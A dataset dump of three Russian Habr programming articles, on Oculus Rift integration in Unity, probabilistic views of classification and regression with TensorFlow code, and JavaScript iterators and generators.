text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# Как виртуальная реальность пришла в проект на Unity
*«Веяния моды ~~привносят в жизнь новые проблемы~~ заставляют меняться»* Наверно именно от этой мысли было принято решение подключить в проект на Unity, шлем виртуальной реальности, всем известный Oculus Rift DK2. Вопреки суровому прощупыванию рублем финансового дна удалось заказать Oculus Rift с доставкой в Санкт-Петербург по адекватной цене. Оперативно, менее чем за две недели, заказ прибыл в стены нашего офиса.
#### Общее впечатление
В коробке, как и предполагалось лежал сам шлем, набор необходимых кабелей, 2 комплекта линз и камера позиционирования шлема в пространстве. После распаковки и подключения к тестовому компьютеру сразу обнаружилась первая странность. Шлем отказывался работать в режиме Direct Display, прекрасно чувствуя себя в режиме второго монитора. Причем данная особенность наблюдалась только на тестовом компьютере. В качестве решения было принято множество адекватных и не очень решений в виде переустановки драйверов, установки недостающих Microsoft Visual C++ Redistributable и прочих “нужных” приложений и библиотек. После переустановки Windows шлем по-прежнему работал только в режиме расширенного дисплея. Но мудрый коллега установил на тестовый компьютер все доступные на тот момент обновления Windows, за что ему огромное спасибо. И одно, но самое нужное, из более тысячи установленных обновлений решало проблему, шлем заработал в режиме Direct Mode.
Наконец-то, можно было приступить к вкусному — ~~играм~~ тестированию возможностей. Первое впечатление — “ВАУ”. Мозг активно утверждал, что все реально и можно даже потрогать. Словами это не описать, лучше попробовать.
#### Интеграция в проект
Опустим лирику, пора приступать к серьезным вещам — интеграции шлема в проект на движке Unity.
Первым делом скачан официальные пакет [Oculus Unity 4 Integration](https://developer.oculus.com/downloads/), наиболее актуальной версии. Разработчикам пакета очень хочется сказать, спасибо, префаб плеера сделан на отлично, несколько кликов позволяет погрузится в виртуальную реальность своего проекта. Только вот изображения и определение позиции и поворот головы для полноценного проекта недостаточно, необходимо сделать несколько вещей:
* отображать интерфейс пользователя;
* показывать курсор;
* вычислять луч с камер;
Приступая к реализации в качестве исходного префаба был взят — OvrCameraRig, находящийся в официальном пакете к Unity.
##### Отображение интерфейса пользователя
После экспериментов и переделывания всего используемого интерфейса, а его предостаточно, наиболее оптимальным выбрано направление — получать изображение с камеры интерфейса в текстуру, затем отображать её перед игроком. Добавив новый класс, отвечающий за интеграцию шлема в проект. В нем появились первые строчки кода, позволяющий по маске слоя интерфейса найти нужную камеру и получать с нее изображение.
```
[SerializeField]
private string guiLayerName;
[SerializeField]
private string guiLayerPlaneName;
[SerializeField]
private Color backgroundColor = new Color(0, 0, 0, 0.5f);
[SerializeField]
private GameObject guiPlanePrefab = null;
private RenderTexture _guiRenderTexture = null;
private RenderTexture guiRenderTexture {
get {
if (null == _guiRenderTexture) {
_guiRenderTexture = new RenderTexture(Screen.width, Screen.height, 0);
}
return _guiRenderTexture;
}
}
private Transform centerEyeAnchor = null;
private Camera guiCamera = null;
private int guiLayer = 0;
private int guiLayerPlane = 0;
private GameObject guiPlane = null;
private void Start() {
guiLayer = LayerMask.NameToLayer(guiLayerName);
guiLayerPlane = LayerMask.NameToLayer(guiLayerPlaneName);
guiCamera = NGUITools.FindCameraForLayer(guiLayer);
centerEyeAnchor = GetComponent().centerEyeAnchor;
if (null != guiCamera) {
guiRootPanel = guiCamera.GetComponentInParent();
guiCamera.targetTexture = guiRenderTexture;
if (null != guiPlanePrefab) {
guiPlane = Instantiate(guiPlanePrefab) as GameObject;
guiPlane.layer = guiLayerPlane;
guiPlane.renderer.material.mainTexture = guiRenderTexture;
Vector3 ls = guiPlane.transform.lossyScale;
Vector3 lp = guiPlane.transform.position;
Quaternion lr = guiPlane.transform.rotation;
guiPlane.transform.parent = transform;
guiPlane.transform.localScale = ls;
guiPlane.transform.localPosition = lp;
guiPlane.transform.localRotation = lr;
}
} else {
throw new UnityException(string.Format("Camera for layer {0} not found", guiLayer));
}
}
private void OnGUI() {
RenderTexture previousActive = RenderTexture.active;
RenderTexture.active = guiRenderTexture;
GL.Clear(false, true, backgroundColor );
RenderTexture.active = previousActive;
guiCamera.Render();
}
```
Изначально картинка с интерфейсом отображалась на обычной прямоугольной плоскости, но при использовании шлема возникал дискомфорт. Были испробованы различные варианты формы поверхности, самым приятным глазу стала изогнутая плоскость, на подобии современных изогнутых телевизоров. Плоскость с нужными значениями была вынесена в отдельный префаб, но можно этого не делать и пропустить участок кода с выставлением позиции плоскости. Я рекомендую выбрать такие параметры позиции плоскости перед игроком, чтобы пользователь, приближая голову не смог посмотреть, как выглядит плоскость сзади, но и не слишком далеко, чтобы в случае можно было приблизить голову и прочитать что написано. В результате при запуске получилась примерно вот такая картина.
Для отображения плоскости с изображением меню поверх всех объектов окружения, необходимо ~~гуглить~~ писать шейдер который всегда будет рисовать себя поверх всех. В мануале написания шейдеров к движку Unity в статье [«ShaderLab syntax: Culling & Depth Testing»](http://docs.unity3d.com/Manual/SL-CullAndDepth.html) описано что в проход шейдера добавить параметр ZTest Always и ~~будет счастье~~ шейдер будет рисовать, как и планировалось. Выбрав первый попавшийся не освещаемый шейдер, я использовал шейдер, поставляемый совместно с NGUI, копируем его, даем новое имя и добавляем параметр ZTest.
```
Pass
{
Cull Off
Lighting On
ZWrite Off
ZTest Always
Fog { Mode Off }
Offset 0, -1
Blend SrcAlpha OneMinusSrcAlpha
CGPROGRAM
#pragma vertex vert
#pragma fragment frag
#include "UnityCG.cginc"
...
}
```
Вид из редактора позволяет увидеть, что плоскость хоть и пересекает стену строения, но изображение все равно рисуется последним.
А так это выглядит в шлеме:
Результат работы мне понравился, как по ресурсам, так и по виду. Отбросив виртуальную реальность в сторону, можно налить себе очередную чашечку кофе и поболтать с коллегами о бытии мирском.
##### Курсор
*«Откуда куда зачем все это непонятно. Сидел бы пил кофе, смотрел бы в плоский монитор, не сильно то и нужна мне эта виртуальная реальность. Хотя кого я обманываю, конечно же нужна»*
Никогда не думал, что отображать курсор будет сложно, но для шлема это оказалась весьма интересная задачка. Самое первое и очевидное рисовать курсор на обычном интерфейсе и отображать его на плоскости перед игроком.
[UIPanel](http://tasharen.com/ngui/docs/class_u_i_panel.html), [UISprite](http://www.tasharen.com/ngui/docs/class_u_i_sprite.html) или [UITexture](http://www.tasharen.com/ngui/docs/class_u_i_texture.html), получается курсор. Красиво, изящно, просто. Но в шлеме все совершенно иначе. Двигаем мышкой курсор — двигается, наводим на элемент интерфейса — реагирует, отлично, даже не верится. Наводим курсор на пустую область меню, смотрим в пространство и мозг пытается фокусироваться на объекте в пространстве, но какая-то мушка на стекле, курсор, мешает это сделать, либо курсор раздваивается, либо пространство впереди. Конечно можно сделать так чтобы меню исчезало и появлялось по желанию пользователя. Делается это добавлением парой строк кода и несколькими дополнительными свойствами.
```
[SerializeField]
private KeyCode showMenuKey = KeyCode.None;
[SerializeField]
private float displayTime = 0.61f;
private float alphaCalculate = 1;
private UIPanel guiRootPanel = null;
private Start() {
…
guiRootPanel = guiCamera.GetComponentInParent();
…
}
private void OnGUI() {
RenderTexture previousActive = RenderTexture.active;
RenderTexture.active = guiRenderTexture;
if (null != guiRootPanel)
guiRootPanel.alpha = alphaCalculate;
Color color = backgroundColor \* new Color(1, 1, 1, alphaCalculate);
GL.Clear(false, true, color);
RenderTexture.active = previousActive;
guiCamera.Render();
}
private void LateUpdate() {
if (Input.GetKeyDown(showMenuKey)) {
menuIsShow = !menuIsShow;
StopCoroutine("LerpAlpha");
StartCoroutine(“LerpAlpha”, (menuIsShow ? 1 : 0));
}
}
private IEnumerator LerpAlpha(float endAlpha) {
float t = 0;
float time = Mathf.Abs(endAlpha - alphaCalculate) / displayTime;
while (t < time) {
t += Time.deltaTime;
alphaCalculate = Mathf.Lerp(alphaCalculate, endAlpha, t / time);
yield return null;
}
}
```
Возможно этого будет достаточно в тех проектах где меню не используется в игровом мире. Но текущий проект подразумевал другое использование меню и поиски решений продолжились.
Была опробована идея “лазерной указки”. Привязать к плееру новый объект с источником света, выставить следующие параметры.
И мечта котика, светящаяся точка, перемещается по виртуальному миру. В шлеме глаз нарадоваться не может. Точка аккурат на том объекте куда указывает и никакого дискомфорта. Наигравшись с *“лазерной указкой”* в виртуальном мире, возвращаюсь в реальный и понимаю, решение не совсем подходящее. Заменив источник света на прожектор получается красивый курсор, он может быть не только светящейся точкой, но и любой картинкой которая есть в наличии.
Плюс в материал прожектора необходимо вставить следующий шейдер:
```
Shader"Projector/Additive"{
Properties{
_ShadowTex("Cookie",2D)=""{TexGenObjectLinear}
}
Subshader{
Pass{
CullBack
ZWriteOff
Color[_Color]
ColorMaskRGB
BlendSrcAlphaOneMinusSrcAlpha
Offset0,0
SetTexture[_ShadowTex]{
constantColor(1,1,1,1)
combinetexture*constant,texture
Matrix[_Projector]
}
}
}
}
```
У прожектора есть небольшое ограничение, он невидим на скайбоксе. Для исправления данной особенности, я решил сделать следующее:
1. добавил новый объект дочерний к прожектору;
2. на этот объект добавил компоненты: [MeshRenderer](http://docs.unity3d.com/ScriptReference/MeshRenderer.html), [Mesh](http://docs.unity3d.com/ScriptReference/Mesh.html);
3. выбрал не освещаемый материал с изображением курсора;
4. выставил согласно длины и размера прожектора.
Вот такой результат получился в итоге:
В результате есть курсор, который видим в пространстве, но никак не видим в меню и наоборот, есть в меню, но вызывает дискомфорт при его отображении в пространстве.
*Была идея написать для камер шейдер рисующий картинку курсора для глаза с сдвигом к носу в зависимости от ZDepth. Но идея закончилась на том что, мои знания в области написания шейдеров ограничены, и как это сделать я не представляю. Может, кто, в комментариях натолкнет на мысль, как реализовать данную задумку.*
Оставив все как есть, я взялся за определение позиции курсора. В распоряжении имеется позиция курсора согласно указателю мыши, есть значения поворота и положения головы. Как наиболее адекватно управлять курсором совершенно не понятно. *«Истина рождается в споре.»* После небольшого обсуждения с коллегами их мнения разделились, одна половина говорила, что двигать курсором лучше мышкой, другая — лучше головой. *«Лучше один раз попробовать а потом обсуждать.»*
Первый вариант — проще сделать для курсора в меню.
Позиция курсора [Input.mousePosition](http://docs.unity3d.com/ScriptReference/Input-mousePosition.html), переводится в координаты и согласно этим координатам двигается курсор.
Второй вариант хорошо подходит для курсора в пространстве.
Прожектор сделать дочерним к взгляду, и курсор теперь управляется головой.
Итог, возможность использовать два курсора, один управляется мышью и используется в меню, другой управляется головой и используется в пространстве. Вроде неплохо, сохраняю каждый курсор в отдельные префабы для динамического создания и использования в дальнейшем и добавляю следующий код в класс интеграции шлема.
```
[SerializeField]
private GameObject cursor3dPrefab = null;
[SerializeField]
private GameObject cursor2dPrefab = null;
private GameObject cursor3d = null;
private GameObject cursor2d = null;
private Start() {
...
if (null != cursor3dPrefab) {
cursor3d = Instantiate(cursor3dPrefab) as GameObject;
cursor3d.transform.parent = centerEyeAnchor;
cursor3d.transform.localPosition = Vector3.zero;
cursor3d.transform.localRotation = Quaternion.identity;
cursor3d.transform.localScale = Vector3.one;
}
if (null != cursor2dPrefab) {
cursor2d = Instantiate(cursor2dPrefab) as GameObject;
cursor2d.transform.parent = guiCamera.transform;
cursor2d.transform.localPosition = Vector3.zero;
cursor2d.transform.localRotation = Quaternion.identity;
cursor2d.transform.localScale = Vector3.one;
UITexture texture = cursor2d.GetComponentInChildren();
if (null != texture) cursor2d = texture.gameObject;
}
...
}
```
Но два разных курсора, да еще и которые управляются по-разному, это мне показались халтурным исполнением.
##### ScreenPointToRay для Raycast
*«Что нам стоит дом построить, нарисуем будем жить»*
Половина пути пройдено. Надо вычислять и возвращать луч. Одна очень хорошая мысль, моментально, посетила мою бедную голову, жалко это происходит не регулярно. Необходимо написать для камеры расширение, которое имело следующий вызов, Camera.main.ExternalScreenPointToRay, и возвращало новый луч. Для этого необходим код:
```
public static class ExternalCamera {
public static RayExternalScreenPointToRay(thisCameracamera,Vector3position){
return camera.ScreenPointToRay(position);
}
}
```
Добавлен статичный флаг о возможности использовать вычисления позиции шлема.
```
public static bool useOVR { get; private set; }
```
А также добавления статичной ссылки на экземпляр класса
```
public static ExtensionOVR instance { get; private set; }
```
Не забываем в функции Start() присваивать им значения
```
instance = this;
useOVR = true;
```
Такой синглтон получился.
Для переключения режимом вычисления значении луча я создал следующее перечисление. Ох, и люблю я это делать, плодить перечисления.
```
public enum CameraRay {
Head,
Cursor
}
```
В качестве отправной точки я решил взять следующее условие: если камера трехмерная — луч это туда куда направлен прожектор, если двухмерная – луч — это позиция где пересекается прожектор и плоскость на которой отображается рендер меню. Т.е. вычисления примут примерно следующий вид:
```
public Ray ScreenPointToRay(Camera camera, Vector2 position) {
return camera.orthographic ? guiPointToRay : headPointToRay;
}
```
А код расширения камер примет вот такой вид:
```
public static Ray ExternalScreenPointToRay(this Camera camera, Vector3 position) {
return ExtensionOVR.useOVR ? ExtensionOVR.instance.ScreenPointToRay(camera, position) : camera.ScreenPointToRay(position);
}
```
Для вычисления луча трехмерного курсора все предельно понятно:
```
private Ray headPointToRay {
get {
return (cameraRay == CameraRay.Cursor && null != cursor3d) ? new Ray(cursor3d.transform.position, cursor3d.transform.forward) :
new Ray(centerEyeAnchor.position, centerEyeAnchor.forward);
}
}
```
Для вычисления позиции двухмерного луча необходимо найти пересечение прожектора и плоскости. Это легко посчитать, используя [RaycastHit.textureCoord](http://docs.unity3d.com/ScriptReference/RaycastHit-textureCoord.html). Предварительно к плоскости добавлен [Mesh Collider](http://docs.unity3d.com/Manual/class-MeshCollider.html) и она выделена в отдельный слой.
```
public Vector2 cursorPosition { get; private set; }
private Ray guiPointToRay {
get {
RaycastHit hit;
if (Physics.Raycast(headPointToRay, out hit, 1000, 1 << guiLayerPlane)) {
cursorPosition = new Vector2(hit.textureCoord.x * Screen.width, hit.textureCoord.y * Screen.height);
return guiCamera.ScreenPointToRay(cursorPosition);
} else {
return new Ray();
}
}
}
```
Немного добавил изменение позиции курсора согласно выбранному режиму в функцию Update().
```
if (cameraRay == CameraRay.Cursor && null != cursor3d) {
Ray ray = Camera.main.ScreenPointToRay(Input.mousePosition);
cursor3d.transform.LookAt(cursor3d.transform.position + ray.direction);
}
if (null != cursor2d) {
cursor2d.transform.localPosition = cursorPositionOffset;
}
```
Ну и еще свойство для удобства:
```
public Vector2 cursorPositionOffset {
get {
return cursorPosition + offsetCursor;
}
}
```
Теперь заменив все вызовы ScreenPointToRay на ExternalScreenPointToRay курсор синхронно двигается в меню и в пространстве, смотреть одно загляденье. Правда есть маленький минус. Курсор теперь виден на плоскости и в пространстве одновременно. Немного преобразив код шедера плоскости с изображением интерфейса, убираем полупрозрачность.
```
v2f vert (appdata_t v)
{
...
o.color.a = v.color.a > 0 ? 3 : 0;
...
}
```
И финальный штрих, в интерфейсе на месте где должен отображаться курсор вешается коллайдер и проверяя находится ли двухмерный курсор над коллайдером интерфейса отображаем его, либо прячем в противном случае.
```
public bool enable2DCursor {
get {
return Physics.Raycast(guiCamera.ScreenPointToRay(cursorPosition), float.MaxValue, 1 << guiLayer);
}
}
private void Update() {
...
if (enable2DCursor) {
cursor2d.transform.localPosition = cursorPositionOffset;
} else {
cursor2d.transform.localPosition = Vector3.up * 10000;
}
...
}
```
Вот вроде и все, есть возможность навигации по меню, есть возможность отображать курсор там куда будет фокусироваться зрение, есть возможность вычислять луч для Raycast.
#### Итог
Какие я хочу дать рекомендации для оптимизации проекта под виртуальный мир на основе полученного опыта.
* Использовать крупный шрифт, достаточно посмотреть на билборд при запуске шлем, не смотря на то что кто-то скажет, что крупный шрифт не смотрится. Лучше услышать от пользователя что некрасиво выглядит, чем то, что непонятно что написано и он не может с этим работать.
* Все двухмерное меню стараться сдвигать к центру, лучше делать его трехмерным. Но лучше это делать с нуля, а не переделывать имеющееся.
* Использование шлема виртуальной реальности значительно улучшает презентабельность продукта.
* Для использования шлема виртуальной реальности нужна очень хорошо оптимизированная сцена. Иначе при высоких настройках изображение расплывается и организм чувствует себя не совсем хорошо.
* Это написано в мануале, но я от себя добавлю не используйте MSAA 8x, размер RenderTexture для глаза весит >100 Mb в памяти что не может не огорчать.
P.S. Наверно некоторые подумают, что это бред и почему для пространственного курсора я не использовал более дешевый прием с райкастом и рисованием билборда направленного в сторону плеера с вычислением его размера относительно дальности. На сцене в используемом проекте не везде стоят коллайдеры и некоторые коллайдеры не соответствуют размерам объекта и в итоге получается, что курсор иногда висит непонятно где и как. | https://habr.com/ru/post/249053/ | null | ru | null |
# Вероятностная интерпретация классических моделей машинного обучения
Этой статьей я начинаю серию, посвященную генеративным моделям в машинном обучении. Мы посмотрим на классические задачи машинного обучения, определим, что такое генеративное моделирование, посмотрим на его отличия от классических задач машинного обучения, взглянем на существующие подходы к решению этой задачи и погрузимся в детали тех из них, что основаны на обучении глубоких нейронных сетей. Но прежде, в качестве введения, мы посмотрим на классические задачи машинного обучения в их вероятностной постановке.
Классические задачи машинного обучения
--------------------------------------
Две классические задачи машинного обучения — это классификация и регрессия. Давайте посмотрим ближе на каждую из них. Рассмотрим постановку обеих задач и простейшие примеры их решения.
Классификация
-------------
Задача классификации — это задача присвоения меток объектам. Например, если объекты — это фотографии, то метками может быть содержание фотографий: содержит ли изображение пешехода или нет, изображен ли мужчина или женщина, какой породы собака изображена на фотографии. Обычно есть набор взаимоисключающих меток и сборник объектов, для которых эти метки известны. Имея такую коллекцию данных необходимо автоматически расставлять метки на произвольных объектах того же типа, что были в изначальной коллекции. Давайте формализуем это определение.
Допустим, есть множество объектов . Это могут быть точки на плоскости, рукописные цифры, фотографии или музыкальные произведения. Допустим также, что есть конечное множество меток . Эти метки могут быть пронумерованы. Мы будем отождествлять метки и их номера. Таким образом  в нашей нотации будет обозначаться как . Если , то задача называется задачей бинарной классификации, если меток больше двух, то обычно говорят, что это просто задача классификации. Дополнительно, у нас есть входная выборка . Это те самые размеченные примеры, на которых мы и будем обучаться проставлять метки автоматически. Так как мы не знаем классов всех объектов точно, мы считаем, что класс объекта — это случайная величина, которую мы для простоты тоже будем обозначать . Например, фотография собаки может классифицироваться как собака с вероятностью 0.99 и как кошка с вероятностью 0.01. Таким образом, чтобы классифицировать объект, нам нужно знать условное распределение этой случайной величины на этом объекте .
Задача нахождения  при данном множестве меток  и данном наборе размеченных примеров  называется задачей классификации.
Вероятностная постановка задачи классификации
---------------------------------------------
Чтобы решить эту задачу, удобно переформулировать ее на вероятностном языке. Итак, есть множество объектов  и множество меток .  — случайная величина, представляющая собой случайный объект из .  — случайная величина, представляющая собой случайную метку из . Рассмотрим случайную величину  с распределением , которое является совместным распределением объектов и их классов. Тогда, размеченная выборка — это сэмплы из этого распределения . Мы будем предполагать, что все сэмплы независимо и одинаково распределены (i.i.d в англоязычной литературе).
Задача классификации теперь может быть переформулирована как задача нахождения  при данном сэмпле .
Классификация двух нормальных распределений
-------------------------------------------
Давайте посмотрим, как это работает на простом примере. Положим , , , , . То есть, у нас есть две гауссианы, из которых мы равновероятно сэмплируем данные и нам нужно, имея точку из , предсказать, из какой гауссианы она была получена.
Рис. 1. Плотности распределения  и .
Так как область определения гауссианы — вся числовая прямая, очевидно, что эти графики пересекаются, а значит, есть такие точки, в которых плотности вероятности  и  равны.
Найдем условную вероятность классов:
Т.е.
Вот так будут выглядеть график плотности вероятностей :
Рис. 2. Плотности распределения ,  и .  там, где две гауссианы пересекаются.
Видно, что близко к модам гауссиан уверенность модели в принадлежности точки конкретному классу очень высока (вероятность близка к нулю или единице), а там, где графики пересекаются модель может только случайно угадывать и выдает .
Метод максимизации правдоподобия
--------------------------------
Большая часть практических задач не может быть решена вышеописанным способом, так как  обычно не задано явно. Вместо этого обычно имеется набор данных  с некоторой неизвестной совместной плотностью распределения . В таком случае для решения задачи используется [метод максимального правдоподобия](https://en.wikipedia.org/wiki/Maximum_likelihood_estimation). Формальное определение и обоснование метода можно найти в вашей любимой книге по статистике или по ссылке выше, а в данной статье я опишу его интуитивный смысл.
Принцип максимизации правдоподобия говорит, что если есть некоторое неизвестное распределение , из которого есть набор сэмплов , и некоторое известное параметрическое семейство распределений , то для того, чтобы  максимально приблизило , нужно найти такой вектор параметров , который максимизирует совместную вероятность данных (правдоподобие) , которое еще называют правдоподобием данных. Доказано, что при разумных условиях эта оценка является состоятельной и несмещенной оценкой истинного вектора параметров. Если сэмплы выбраны из , то есть данные i.i.d., то совместное распределение распадается на произведение распределений:
Логарифм и умножение на константу — монотонно возрастающие функции и не меняют положений максимумов, потому совместную плотность можно внести под логарифм и умножить на :
Последнее выражение, в свою очередь, является несмещенной и состоятельной оценкой ожидаемого логарифма правдоподобия:
Задачу максимизации можно переписать как задачу минимизации:
Последняя величина называется кросс-энтропией распределений  и . Именно ее и принято оптимизировать для решения задач обучения с подкреплением (supervised learning).
Минимизацию на протяжении этого цикла статей мы будем проводить с помощью [Stochastic Gradient Descent (SGD)](https://en.wikipedia.org/wiki/Stochastic_gradient_descent), а точнее, его расширения на основе адаптивных моментов, пользуясь тем, что сумма градиентов по подвыборке (так называемому “минибатчу”) является несмещенной оценкой градиента минимизируемой функции.
Классификация двух нормальных распределений логистической регрессией
--------------------------------------------------------------------
Давайте попробуем решить ту же задачу, что была описана выше, методом максимального правдоподобия, взяв в качестве параметрического семейства  простейшую нейронную сеть. Получившаяся модель называется логистической регрессией. Полный код модели можно найти [тут](https://github.com/Monnoroch/generative/tree/master/logistic_regression), в статье же освещены только ключевые моменты.
Для начала нужно сгенерировать данные для обучения. Нужно сгенерировать минибатч меток классов и для каждой метки сгенерировать точку из соответствующей гауссианы:
```
def input_batch(dataset_params, batch_size):
input_mean = tf.constant(dataset_params.input_mean, dtype=tf.float32)
input_stddev = tf.constant(dataset_params.input_stddev,dtype=tf.float32)
count = len(dataset_params.input_mean)
labels = tf.contrib.distributions.Categorical(probs=[1./count] * count)
.sample(sample_shape=[batch_size])
components = []
for i in range(batch_size):
components
.append(tf.contrib.distributions.Normal(
loc=input_mean[labels[i]],
scale=input_stddev[labels[i]])
.sample(sample_shape=[1]))
samples = tf.concat(components, 0)
return labels, samples
```
Определим наш классификатор. Он будет простейшей нейронной сетью без скрытых слоев:
```
def discriminator(input):
output_size = 1
param1 = tf.get_variable(
"weights",
initializer=tf.truncated_normal([output_size], stddev=0.1)
)
param2 = tf.get_variable(
"biases",
initializer=tf.constant(0.1, shape=[output_size])
)
return input * param1 + param2
```
И запишем функцию потерь — кросс-энтропию между распределениями реальных и предсказанных меток:
```
labels, samples = input_batch(dataset_params, training_params.batch_size)
predicted_labels = discriminator(samples)
loss = tf.reduce_mean(tf.nn.sigmoid_cross_entropy_with_logits(
labels=tf.cast(labels, tf.float32),
logits=predicted_labels)
)
```
Ниже приведены графики обучения двух моделей: базовой и с L2-регуляризацией:
Рис. 3. Кривая обучения логистической регрессии.
Видно, что обе модели быстро сходятся к хорошему результату. Модель без регуляризации показывает себя лучше потому, что в этой задаче не нужна регуляризация, а она слегка замедляет скорость обучения. Давайте взглянем поближе на процесс обучения:
Рис. 4. Процесс обучения логистический регрессии.
Видно, что обучаемая разделяющая поверхность постепенно сходится к аналитически вычисленной, при чем, чем она ближе, тем медленнее сходится из-за все более слабого градиента функции потерь.
Регрессия
---------
Задача регрессии — это задача предсказания одной непрерывной случайной величины  на основе значений других случайных величин . Например, предсказание роста человека по его полу (дискретная случайная величина) и возрасту (непрерывная случайная величина). Точно так же, как и в задаче классификации, нам дана размеченная выборка . Предсказать значение случайной величины напрямую невозможно, ведь она случайная и, по сути, является функцией, поэтому формально задача записывается как предсказание ее условного ожидаемого значения:
Регрессия линейно зависимых величин с нормальным шумом
------------------------------------------------------
Давайте посмотрим, как решается задача регрессии на простом примере. Пусть есть две независимые случайные величины . Например, это высота дерева и нормальный случайный шум. Тогда мы можем предположить, что возраст дерева является случайной величиной . В таком случае по линейности математического ожидания и независимости  и :
Рис. 5. Линия регрессии задачи про линейно зависимые величины с шумом.
Решение задачи регрессии методом максимального правдоподобия
------------------------------------------------------------
Давайте сформулируем задачу регрессии через метод максимального правдоподобия. Положим ). Где  — новый вектор параметров. Видно, что мы ищем  — математическое ожидание , т.е. это корректно поставленная задача регрессии. Тогда
Состоятельной и несмещенной оценкой этого матожидания будет среднее по выборке
Таким образом, для решения задачи регрессии удобно минимизировать среднеквадратичную ошибку на обучающей выборке.
Регрессия величины линейной регрессией
--------------------------------------
Давайте попробуем решить ту же задачу, что была выше, методом из предыдущего раздела, взяв в качестве параметрического семейства  простейшую возможную нейронную сеть. Получившаяся модель называется линейной регрессией. Полный код модели можно найти [тут](https://github.com/Monnoroch/generative/tree/master/linear_regression), в статье же освещены только ключевые моменты.
Для начала нужно сгенерировать данные для обучения. Сначала мы генерируем минибатч входных переменных , после чего получаем сэмпл исходной переменной :
```
def input_batch(dataset_params, batch_size):
samples = tf.random_uniform([batch_size], 0., 10.)
noise = tf.random_normal([batch_size], mean=0., stddev=1.)
labels = (dataset_params.input_param1 * samples + dataset_params.input_param2 + noise)
return labels, samples
```
Определим нашу модель. Она будет простейшей нейронной сетью без скрытых слоев:
```
def predicted_labels(input):
output_size = 1
param1 = tf.get_variable(
"weights",
initializer=tf.truncated_normal([output_size], stddev=0.1)
)
param2 = tf.get_variable(
"biases",
initializer=tf.constant(0.1, shape=[output_size])
)
return input * param1 + param2
```
И запишем функцию потерь — L2-расстояние между распределениями реальных и предсказанных значений:
```
labels, samples = input_batch(dataset_params, training_params.batch_size)
predicted_labels = discriminator(samples)
loss = tf.reduce_mean(tf.nn.sigmoid_cross_entropy_with_logits(
labels=tf.cast(labels, tf.float32),
logits=predicted_labels)
)
```
Ниже приведены графики обучения двух моделей: базовой и с L2-регуляризацией:
Рис. 6. Кривая обучения линейной регрессии.
Рис. 7. График изменения первого параметра с шагом обучения.
Рис. 8. График изменения второго параметра с шагом обучения.
Видно, что обе модели быстро сходятся к хорошему результату. Модель без регуляризации показывает себя лучше потому, что в этой задаче не нужна регуляризация, а она слегка замедляет скорость обучения. Давайте взглянем поближе на процесс обучения:
Рис. 9. Процесс обучения линейной регрессии.
Видно, что обучаемое математическое ожидание  постепенно сходится к аналитически вычисленному, при чем, чем оно ближе, тем медленнее сходится из-за все более слабого градиента функции потерь.
Другие задачи
-------------
В дополнение к изученным выше задачам классификации и регрессии есть и другие задачи так называемого обучения с учителем, в основном сводящиеся к отображению между точками и последовательностями: Object-to-Sequence, Sequence-to-Sequence, Sequence-to-Object. Так же есть и большой спектр классических задач обучения без учителя: кластеризация, заполнение пробелов в данных, и, наконец, явная или неявная аппроксимация распределений, которая и используется для генеративного моделирования. Именно о последнем классе задач будет идти речь в этом цикле статей.
Генеративные модели
-------------------
В следующей главе мы посмотрим, что такое генеративные модели и чем они принципиально отличаются от рассмотренных в этой главе дискриминативных. Мы посмотрим на простейшие примеры генеративных моделей и попробуем обучить модель, генерирующую сэмплы из простого распределения данных.
Благодарности
-------------
Спасибо [Olga Talanova](https://www.linkedin.com/in/olga-talanova-b319b761/) за ревью этой статьи. Спасибо [Sofya Vorotnikova](https://people.cs.umass.edu/~svorotni/) за комментарии, редактирование и проверку английской версии. Спасибо [Andrei Tarashkevich](https://github.com/andrewtar) за помощь в верстке. | https://habr.com/ru/post/343800/ | null | ru | null |
# Эффектное программирование. Часть 1: итераторы и генераторы
Javascript на данный момент является самым популярным языком программирования по версиям многих площадок (например Github). Является ли при этом он самым продвинутым или самым любимым языком? В нём отсутствуют конструкции, которые для других языков являются неотъемлемыми частями: обширная стандартная библиотека, иммутабильность, макросы. Но в нём есть одна деталь, которая не получает, на мой взгляд, достаточно внимания — генераторы.
Далее читателю предложена статья, которая, в случае положительного отклика, может перерасти в цикл. В случае успешного написания мной этого цикла, а Читателем его успешного освоения, про следующий код будет понятно не только то, что он делает, но и как устроен под капотом:
```
while (true) {
const data = yield getNextChunk(); // вызов асинхронной логики
const processed = processData(data);
try {
yield sendProcessedData(processed);
showOkResult();
} catch (err) {
showError();
}
}
```
Это первая, пилотная часть: Итераторы и Генераторы.
[Часть 2](https://habr.com/ru/post/537036/)
Итераторы
---------
Итак, итератор — это **интерфейс**, предоставляющий последовательный доступ к данным.
Как видно, в определении ничего не сказано о структурах данных или памяти. Действительно, последовательность undefined-ов может быть представлена в виде итератора, при этом не занимать места в памяти.
Предлагаю читателю ответить на вопрос: является ли массив итератором?
**Ответ**
Является. Методы shift и pop отлично позволяют работать с массивом как с итератором.
Зачем же тогда нужны итераторы, если массив, одна из базовых структур языка, позволяет работать с данными и последовательно, и в произвольном порядке?
Представим, что нам нужен итератор, который реализует последовательность натуральных чисел. Или чисел Фибоначчи. Или любую другую *бесконечную* последовательность. В массиве сложно разместить бесконечную последовательность, понадобится механизм постепенного наполнения массива данными, а также изъятия старых данных, чтобы не заполнить всю память процесса. Это излишнее усложнение, которое несёт с собой дополнительную сложность реализации и поддержки, при том, что решение без массива может уместиться в несколько строчек:
```
const getNaturalRow = () => {
let current = 0;
return () => ++current;
};
```
Также итератором можно представить получение данных из внешнего канала, например websocket.
В javascript итератором является любой объект, у которого есть метод next(), который возвращает структуру с полями value — текущее значение итератора и done — флагом, указывающим на завершение последовательности (эта договорённость описана в стандарте языка [ECMAScript](https://tc39.es/ecma262/#sec-iteration)). Такой объект реализует интерфейс Iterator. Перепишем прошлый пример в этом формате:
```
const getNaturalRow = () => ({
_current: 0,
next() { return {
value: ++this._current,
done: false,
}},
});
```
В javascript также есть интерфейс Iterable — это объект, который имеет метод **@@iterator** (данная константа доступна как Symbol.iterator), который возвращает итератор. Для объектов, реализующих такой интерфейс, доступен обход с помощью оператора `for..of`. Перепишем наш пример ещё раз, только в этот раз как реализацию Iterable:
```
const naturalRowIterator = {
[Symbol.iterator]: () => ({
_current: 0,
next() { return {
value: ++this._current,
done: this._current > 3,
}},
}),
}
for (num of naturalRowIterator) {
console.log(num);
}
// Вывод: 1, 2, 3
```
